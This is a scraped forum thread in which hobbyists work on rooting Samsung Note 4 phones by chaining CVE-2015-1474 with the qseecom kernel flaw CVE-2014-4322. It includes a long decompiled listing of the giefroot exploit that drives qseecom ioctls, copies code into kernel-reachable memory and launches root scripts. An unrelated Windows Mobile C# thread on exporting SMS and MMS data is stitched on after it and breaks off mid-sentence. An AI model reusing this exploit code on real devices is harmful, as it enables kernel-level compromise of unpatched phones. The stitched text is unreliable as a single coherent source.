WelcomeFirst I have to ask that everyone please follow the rules when posting in here.The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.
.
Working on PoC here:
https://github.com/p1gl3t/CVE-2015-1474_poc
Other Threads working on 2015-1474
http://forum.xda-developers.com/kin...luating-cve-2015-1474-to-escalate-to-t3045163
android-DEP said:
@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.
Click to expand...
Click to collapse
To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!
Click to expand...
Click to collapse
From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.
jorgasm209 said:
Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.
Click to expand...
Click to collapse
It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
zxz0O0 said:
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
Click to expand...
Click to collapse
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
munjeni said:
Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171
If you have idea for how I can change app_id than I will get it working and will share source with you!
This is decompiled source from guy who have it working and don't want to share them:
Code:
void sub_89F4(void) {
;
}
int __fastcall sub_8A78(signed int a1, int a2)
{
signed int v2; // [email protected]
FILE *v3; // [email protected]
void *v4; // [email protected]
signed int v5; // [email protected]
FILE *v6; // [email protected]
int v7; // [email protected]
char v8; // [email protected]
const char *v9; // [email protected]
_UNKNOWN *v10; // [email protected]
_UNKNOWN *v11; // [email protected]
char **v12; // [email protected]
const char *v13; // [email protected]
int result; // [email protected]
int ion_fd; // [email protected]
int v16; // [email protected]
int v17; // [email protected]
int *v18; // [email protected]
char *v19; // [email protected]
int v20; // [email protected]
int qseecom_fd; // [email protected]
int v22; // [email protected]
int v23; // [email protected]
int v24; // [email protected]
int *v25; // [email protected]
char *v26; // [email protected]
int *v27; // [email protected]
int v28; // [email protected]
int v29; // [email protected]
int v30; // [email protected]
int v31; // [email protected]
int v32; // [email protected]
int v33; // [email protected]
int v34; // [email protected]
int v35; // [email protected]
int *v36; // [email protected]
int v37; // [email protected]
int v38; // [email protected]
int v39; // [email protected]
int v40; // [email protected]
int *v41; // [email protected]
int v42; // [email protected]
int v43; // [email protected]
void *v44; // [email protected]7
int v45; // [email protected]
int v46; // [email protected]
unsigned int v47; // [email protected]
int v48; // [email protected]
int v49; // [email protected]
int v50; // [email protected]
int *v51; // [email protected]
int ptmx_fd; // [email protected]
int v53; // [email protected]
int v54; // [email protected]
int v55; // [email protected]
int v56; // [email protected]
int *v57; // [email protected]
char *v58; // [email protected]
int v59; // [sp+Ch] [bp-1F4h]@1
int memfile_fd; // [sp+Ch] [bp-1F4h]@26
void *ion_void; // [sp+14h] [bp-1ECh]@26
int v62; // [sp+18h] [bp-1E8h]@24
int v63; // [sp+1Ch] [bp-1E4h]@38
int v64; // [sp+20h] [bp-1E0h]@38
int v65; // [sp+24h] [bp-1DCh]@38
int v66; // [sp+28h] [bp-1D8h]@38
int v67; // [sp+2Ch] [bp-1D4h]@22
int v68; // [sp+30h] [bp-1D0h]@22
int v69; // [sp+34h] [bp-1CCh]@22
int v70; // [sp+38h] [bp-1C8h]@22
int v71; // [sp+3Ch] [bp-1C4h]@24
unsigned int v72; // [sp+40h] [bp-1C0h]@41
int v73; // [sp+44h] [bp-1BCh]@41
int v74; // [sp+48h] [bp-1B8h]@41
int v75; // [sp+4Ch] [bp-1B4h]@41
int v76; // [sp+50h] [bp-1B0h]@41
unsigned int v77; // [sp+54h] [bp-1ACh]@41
int v78; // [sp+58h] [bp-1A8h]@41
int v79; // [sp+5Ch] [bp-1A4h]@41
int v80; // [sp+60h] [bp-1A0h]@41
int v81; // [sp+64h] [bp-19Ch]@41
int v82; // [sp+68h] [bp-198h]@41
int v83; // [sp+6Ch] [bp-194h]@41
char v84; // [sp+70h] [bp-190h]@4
char v85[4]; // [sp+90h] [bp-170h]@29
int v86; // [sp+94h] [bp-16Ch]@29
int v87; // [sp+98h] [bp-168h]@29
char v88; // [sp+9Ch] [bp-164h]@29
int v89; // [sp+A0h] [bp-160h]@30
int v90; // [sp+A4h] [bp-15Ch]@30
int v91; // [sp+A8h] [bp-158h]@30
int v92; // [sp+ACh] [bp-154h]@30
int v93; // [sp+B0h] [bp-150h]@30
int v94; // [sp+B4h] [bp-14Ch]@30
int v95; // [sp+B8h] [bp-148h]@30
int v96; // [sp+BCh] [bp-144h]@30
int v97; // [sp+C0h] [bp-140h]@30
int v98; // [sp+C4h] [bp-13Ch]@30
int v99; // [sp+C8h] [bp-138h]@30
int v100; // [sp+CCh] [bp-134h]@30
char v101; // [sp+D4h] [bp-12Ch]@1
int v102; // [sp+1D4h] [bp-2Ch]@1
char v103; // [sp+1D8h] [bp-28h]@4
v2 = a1;
v102 = _stack_chk_guard;
v59 = a2;
puts("giefroot (c) zxz0O0");
v3 = fopen("/proc/version", "r");
fread(&v101, 0x100u, 1u, v3);
fclose(v3);
v4 = malloc(0x100u);
v5 = 30;
v6 = fopen("/system/build.prop", "r");
do
{
while ( 1 )
{
fgets((char *)v4, 256, v6);
v7 = strncmp((const char *)v4, "ro.product.device=", 0x12u);
v8 = v7;
if ( !v7 )
break;
--v5;
if ( !v5 )
goto LABEL_5;
}
strcpy(&v84, (const char *)v4 + 18);
--v5;
*(&v103 + strlen(&v84) - 361) = v8;
}
while ( v5 );
LABEL_5:
fclose(v6);
free(v4);
v9 = supported_kernel[0];
if ( supported_kernel[0] )
{
v10 = &unk_D014;
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
do
{
if ( !strcmp(v9, &v101) && (!v12 || !strcmp((const char *)*((int *)v10 - 4), &v84)) )
{
v12 = &supported_kernel[5 * v5];
unk_D0A4 = &supported_kernel[5 * v5];
}
v13 = *(const char **)v10;
v10 = (char *)v10 + 20;
v9 = v13;
++v5;
}
while ( v13 );
}
else
{
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
}
if ( v12 )
{
v12 = (char **)1;
}
else
{
puts("Error: Kernel not supported");
printf("Device: %s, Kernel: %s\n", &v84, &v101);
*(int *)v11 = supported_kernel;
}
if ( v2 > 1 && !strcmp(*(const char **)(v59 + 4), "-s") )
{
result = (unsigned int)v12 ^ 1;
goto error;
}
ion_fd = open("/dev/ion", 0);
if ( ion_fd < 0 )
puts("Error opening ion device");
v67 = 256;
v68 = 4;
v69 = 134217728;
v70 = 1;
sub_89F4();
v16 = ioctl(ion_fd, ION_IOC_ALLOC, &v67);
if ( v16 )
{
v25 = (int *)((int (*)(void))_errno)();
v26 = strerror(*v25);
printf("Error ioctl: %d / %s\n", v16, v26);
}
else
{
sub_89F4();
}
v62 = v71;
v17 = ioctl(ion_fd, ION_IOC_SHARE, &v62);
if ( v17 )
{
v18 = (int *)((int (*)(void))_errno)();
v19 = strerror(*v18);
printf("Error ioctl: %d / %s\n", v17, v19);
}
else
{
sub_89F4();
}
sub_89F4();
ion_void = (void *)mmap(0, 256, 7, 1);
memset(ion_void, 255, 0x100u);
memfile_fd = open("/data/local/tmp/memfile", 2);
if ( memfile_fd < 0 )
sub_89F4();
v20 = mmap(0, 2113929216, 7, 1);
if ( v20 == -1 )
puts("mmap shared_buf failed");
qseecom_fd = open("/dev/qseecom", 0);
if ( qseccom_fd < 0 )
{
puts("Error opening qseecom");
getting_root:
close(memfile_fd);
close(ion_fd);
close(qseccom_fd);
puts("getting root...");
ptmx_fd = open("/dev/ptmx", 0);
fsync(ptmx_fd, v53);
v54 = close(ptmx_fd);
v55 = getuid(v54);
v56 = printf("getuid: %d\n", v55);
if ( getuid(v56) )
{
puts("Error getting root");
result = 1;
}
else
{
system("/data/local/tmp/systemrw.sh");
system("/data/local/tmp/installsupersu.sh");
result = 0;
}
goto error;
}
sub_89F4();
*(int *)v85 = 1769437812;
v86 = 1769366884;
v87 = 25966;
memset(&v88, 0, 0x14u);
while ( 1 )
{
while ( 1 )
{
v93 = *(int *)v85;
v94 = v86;
v95 = v87;
v96 = *(int *)&v88;
v97 = v89;
v98 = v90;
v99 = v91;
v100 = v92;
v22 = ioctl(qseecom_fd, QSEECOM_IOCTL_APP_LOADED_QUERY_REQ, &v93);
if ( v22 )
{
v27 = (int *)_errno(v22, v23, v24);
strerror(*v27);
sub_89F4();
goto obtain_qseecom_mem;
}
sub_89F4();
puts("query failed. trying another app...");
if ( strcmp(v85, "tzwidevine") )
break;
strcpy(v85, "keymaster");
}
if ( strcmp(v85, "keymaster") )
break;
strcpy(v85, "tzsuntory");
}
if ( !strcmp(v85, "tzsuntory") )
{
puts("Error querying app");
goto getting_root;
}
obtain_qseecom_mem:
v64 = v63;
v65 = v20;
v66 = 2113929216;
v28 = ioctl(qseecom_fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &v64);
v31 = v28;
if ( v28 )
{
v57 = (int *)_errno(v28, v29, v30);
v58 = strerror(*v57);
printf("Error ioctl QSEECOM_IOCTL_SET_MEM_PARAM_REQ: %d / %s\n", v31, v58);
}
else
{
sub_89F4();
}
munmap(v20, 2113929216);
v32 = mmap(v20, 4096, 7, 50);
if ( v32 == -1 )
puts("Error allocating shared buf again");
memset((void *)v32, 255, 0x1000u);
v77 = 0;
v79 = 0;
v78 = 0;
v81 = 0;
v80 = 0;
v83 = 0;
v82 = 0;
v73 = 2113921024;
v74 = v32 + 80;
v75 = 4096;
v76 = v63;
v72 = v32;
puts("getting ptr");
v33 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v33 )
{
v36 = (int *)_errno(v33, v34, v35);
strerror(*v36);
sub_89F4();
}
else
{
sub_89F4();
}
munmap(v32, 4096);
sub_89F4();
v37 = mmap(v20, 524288, 7, 49);
if ( v37 != -1 )
{
sub_89F4();
memset((void *)v37, 255, 0x80000u);
v72 = v32 + ((unsigned int)(v37 + 979369984) >> 1);
v77 = (unsigned int)(v37 + 979369984) >> 1;
puts("getting offset");
v38 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v38 )
{
v41 = (int *)_errno(v38, v39, v40);
strerror(*v41);
sub_89F4();
}
else
{
sub_89F4();
}
v42 = sub_8A00(v37, 524288);
munmap(v37, 524288);
v43 = mmap(*(int *)ion_void, 1024, 7, 49);
if ( v43 == -1 )
{
puts("Error: Could not allocate memory for exploit code");
}
else
{
v44 = (void *)v43;
sub_89F4();
memcpy(v44, sub_8994, 0x400u);
munmap(ion_void, 4096);
v45 = (int)((char *)v44 + 64);
do
{
while ( 1 )
{
v46 = *(int *)v44;
v44 = (char *)v44 + 4;
if ( v46 == -1091584273 )
break;
if ( v44 == (void *)v45 )
goto exploit_qseecom;
}
*((int *)v44 - 1) = sub_89A4;
}
while ( v44 != (void *)v45 );
exploit_qseecom:
v47 = v32 + ((unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1);
v77 = (unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1;
v72 = v47;
puts("exploiting");
v48 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v48 )
{
v51 = (int *)_errno(v48, v49, v50);
strerror(*v51);
sub_89F4();
}
else
{
sub_89F4();
}
}
goto getting_root;
}
puts("Error allocating testmem");
result = 1;
error:
if ( v102 != _stack_chk_guard )
_stack_chk_fail(result);
return result;
}
I am tried to construct but sorry I am not skilled in reverse enginering. If you understand than try to construct right function from that and share it here!
Click to expand...
Click to collapse
Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.
ZPaul2Fresh8 said:
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
Click to expand...
Click to collapse
Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.
Sent from my SAMSUNG-SM-N910A using Tapatalk
This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.
Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
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}
Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start
munjeni said:
I don't know, I stil receiving sms, only unable to get terminal emulator on button click
Click to expand...
Click to collapse
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
stvn1337 said:
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
Click to expand...
Click to collapse
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
munjeni said:
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
Click to expand...
Click to collapse
Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..
Sent from my SAMSUNG-SM-N910A using Tapatalk
Maxninja said:
I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.
Click to expand...
Click to collapse
Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.
windstrings said:
This brings the next question.. An educated guess as to whether this will work with lollipop?
Click to expand...
Click to collapse
I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.
So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...
https://www.codeaurora.org/projects...le-camera-drivers-cve-2014-4321-cve-2014-4324
Qcom camera FTW
Just a little further reading for some:
http://www.cvedetails.com/cve/CVE-2015-1474/
jcase said:
Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
Click to expand...
Click to collapse
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
jasonstackhouse said:
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
Click to expand...
Click to collapse
Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.
Misterxtc said:
If it helps any this is what the adb command returned on the VZW Note4 on NJ5.
View attachment 3172812
Click to expand...
Click to collapse
Same here, AT&T NIE
C:\Users\rac1\Desktop\ADB>adb shell grep -A 10 -B 10 camera /system/etc/permissi
ons/platform.xml
<permission name="android.permission.SYSTEM_GROUP_INTERNAL" >
<group gid="system" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="com.sec.android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.READ_EXTERNAL_STORAGE" >
<group gid="sdcard_r" />
</permission>
--
<group gid="graphics" />
</permission>
<!-- Except for SysScope, DO NOT USE this permission. -->
<permission name="com.sec.android.app.sysscope.permission.ACCESS_SYSTEM_INFO
_SYSSCOPE_ONLY" >
<group gid="radio" />
</permission>
<!-- Group that can use gscaler -->
<permission name="com.sec.android.permission.USE_CAMERA" >
<group gid="camera" />
</permission>
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- The following tags are assigning high-level permissions to specific
user IDs. These are used to allow specific core system users to
perform the given operations with the higher-level framework. For
example, we give a wide variety of permissions to the shell user
OK let's not forget about cve-2015-1474. This is the vulnerability that's going to get us what we want. Let's not get sidetracked about another vulnerability that we may not even need.
Related
I'm looking for a way to turn off the data (GRPS)
Search didn't brought me anything usefull, I'm sure there is somwhere the data but can't find it.
I'm especially need it for WM 6.5 (HD2)
Search around for Modaco's NoData program. It's late and I'm too tired to search it up for you right now.
kekkle said:
Search around for Modaco's NoData program. It's late and I'm too tired to search it up for you right now.
Click to expand...
Click to collapse
Thanks for the replay but it’s not what I meant, sorry for not be clarify.
I know the NoData app and actually i just finish writing something similar but more user friendly, hope to release it asap (Now I have problem with the icon )
What I’m looking is a way to turn off programmatically the data connection of the device, what the CommManager in the HTC sense do.
I tried to use the RAS api but it didn't work
look for jmlcomm.exe here at xda and use it in your app.simple command line call.and free to use.
MichelDiamond said:
look for jmlcomm.exe here at xda and use it in your app.simple command line call.and free to use.
Click to expand...
Click to collapse
Thanks for the idea, I'll try it.
But I prefer to do it directly from my app. without calling external tool.
I found a solution!
Its from few posts in the net, don't remember where exactly with some modification of me.
here is the code I use, if someone else will need it:
Code:
using System;
using System.Text;
using System.Runtime.InteropServices;
namespace RasHelper
{
class RasHelper
{
private const int SUCCESS = 0;
private const int ERROR_NOT_ENOUGH_MEMORY = 8;
private const int RASBASE = 600;
private const int ERROR_BUFFER_TOO_SMALL = RASBASE + 3;
private const int ERROR_INVALID_SIZE = RASBASE + 32;
// --- RASCONN data structure definition (refer to ras.h) --
private const int RAS_MaxEntryName = 20;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct RASCONN
{
public int dwSize;
public IntPtr hrasconn;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = RAS_MaxEntryName + 1)]
public string szEntryName;
}
// --------------------------------------------
[DllImport("coredll.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern uint RasEnumConnections(
[In, Out] RASCONN[] rasconn,
[In, Out] ref int cb,
[Out] out int connections);
[DllImport("coredll.dll")]
private static extern uint RasHangUp(IntPtr pRasConn);
/// <summary>
/// Returns all active RAS connections as an array of data structure RASCONN
/// </summary>
/// <returns></returns>
public static RASCONN[] GetAllConnections()
{
RASCONN[] tempConn = new RASCONN[1];
RASCONN[] allConnections = tempConn;
tempConn[0].dwSize = Marshal.SizeOf(typeof(RASCONN));
int lpcb = tempConn[0].dwSize;
int lpcConnections = 0;
uint ret = RasEnumConnections(tempConn, ref lpcb, out lpcConnections);
if (ret == ERROR_INVALID_SIZE)
{
throw new Exception("RAS: RASCONN data structure has invalid format");
}
else if (ret == ERROR_BUFFER_TOO_SMALL && lpcb != 0)
{
// first call returned that there are more than one connections
// and more memory is required
allConnections = new RASCONN[lpcb / Marshal.SizeOf(typeof(RASCONN))];
allConnections[0] = tempConn[0];
ret = RasEnumConnections(allConnections, ref lpcb, out lpcConnections);
}
// Check errors
if (ret != SUCCESS)
{
throw new Exception("RAS returns error: " + ret);
}
if (lpcConnections > allConnections.Length)
{
throw new Exception("RAS: error retrieving correct connection count");
}
else if (lpcConnections == 0)
{
// if there are no connections resize the data structure
allConnections = new RASCONN[0];
}
return allConnections;
}
/// <summary>
/// Closes all active RAS connections
/// </summary>
/// <returns></returns>
public static void CloseAllConnections()
{
RASCONN[] connections = GetAllConnections();
for (int i = 0; i < connections.Length; ++i)
{
//MessageBox.Show(connections[i].ToString());
RasHangUp(connections[i].hrasconn);
}
}
/// <summary>
/// Check if there are open data connections
/// </summary>
/// <returns></returns>
public static bool IsConnectionsOpen()
{
RASCONN[] connections = GetAllConnections();
if (connections.Length > 0)
return true;
else
return false;
}
}
}
Best all,
A while ago I tried to make a simple application which can export all my smses and mmses to my local database server. It runs quite smoothly but I can't manage to get the correct mms body data. It seems that about 5% of the exported body data(for example a sent picture in jpeg format) is different from the original jpeg picture/body data: the exported picture data can't be viewed, it is corrupt.
I suspect the method of exporting the data must be changed from string to binary, but I don't know exactly how to proceed.
I'm using C# 2008 in combination with the MAPIdotnet library, and my target device is a HTC HD Mini with Windows Mobile 6.5 professional.
The part of my code where it's going wrong:
Code:
ASCIIEncoding asen = new ASCIIEncoding();
byte[] ba = asen.GetBytes(s);
bw.Write(ba);
bw.Close();
fs.Close();
if (messages[msgID].Body != null)
{
FileStream fs2 = File.Create("\\Opslagkaart\\Debug\\body_" + Convert.ToString(msgID) + ".dat");
BinaryWriter bw2 = new BinaryWriter(fs2);
System.Text.UnicodeEncoding enc = new System.Text.UnicodeEncoding();
byte[] file = enc.GetBytes(messages[msgID].Body);
//bw2.Write(messages[msgID].Body);
bw2.Write(file);
bw2.Close();
fs2.Close();
}
In combination with MAPIdotnet's code:
Code:
public string Body
{
get
{
IStreamChar s = (IStreamChar)this.msg.OpenProperty(cemapi.PropTags.PR_BODY, 0);
if (s == null)
return "";
IntPtr p = Marshal.AllocHGlobal(4);
char[] b = new char[3];
StringBuilder str = new StringBuilder();
int c, len = b.Length * 2;
do
{
s.Read(b, len, p);
c = Marshal.ReadInt32(p);
str.Append(new string(b, 0, c / 2));
}
while (c >= len);
Marshal.FreeHGlobal(p);
return str.ToString();
}
}
Can somebody give a hint of how to proceed?
Thanks,
I suddenly got some more inspiration and, with help from google, I've managed to correctly retrieve the binary jpeg attachments of two of my mmses.
The code part of my program:
Code:
//if (messages[msgID].BodyBinary.Length>0)
//{
FileStream fs2 = File.Create("\\Opslagkaart\\Debug\\body_" + Convert.ToString(msgID) + ".dat");
BinaryWriter bw2 = new BinaryWriter(fs2);
bw2.Write(messages[msgID].BodyBinary);
bw2.Close();
fs2.Close();
//}
The code part of the customized MAPIdotnet:
Code:
private static IntPtr ReadBuffer;
static int Read(OpenNETCF.Runtime.InteropServices.ComTypes.IStream strm, byte[] buffer)
{
if (ReadBuffer == IntPtr.Zero) ReadBuffer = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(int)));
try
{
strm.Read(buffer, buffer.Length, ReadBuffer);
}
catch (NullReferenceException e)
{
//do nothing
}
return Marshal.ReadInt32(ReadBuffer);
}
public byte[] BodyBinary
{
get
{
int buffsize = 1024*1024*2; /* If mms body is bigger than 2MB we have a problem here */
byte[] buffer = new byte[buffsize];
Read(this.msg.OpenProperty(cemapi.PropTags.PR_BODY, 0), buffer);
byte[] data = buffer;//ms.ToArray();
Marshal.FreeCoTaskMem(ReadBuffer);
return data;
}
}
But now ALL bodies are saved as 2MB files.. including the empty ones from for example a sms. And not all mms bodies are of the max size of 2mb. My carrier/phone supports up to 1MB. Perhaps I need to get some 'dynamic size' buffer instead of the fixed one. Does anyone have an idea on how to determine the size of the
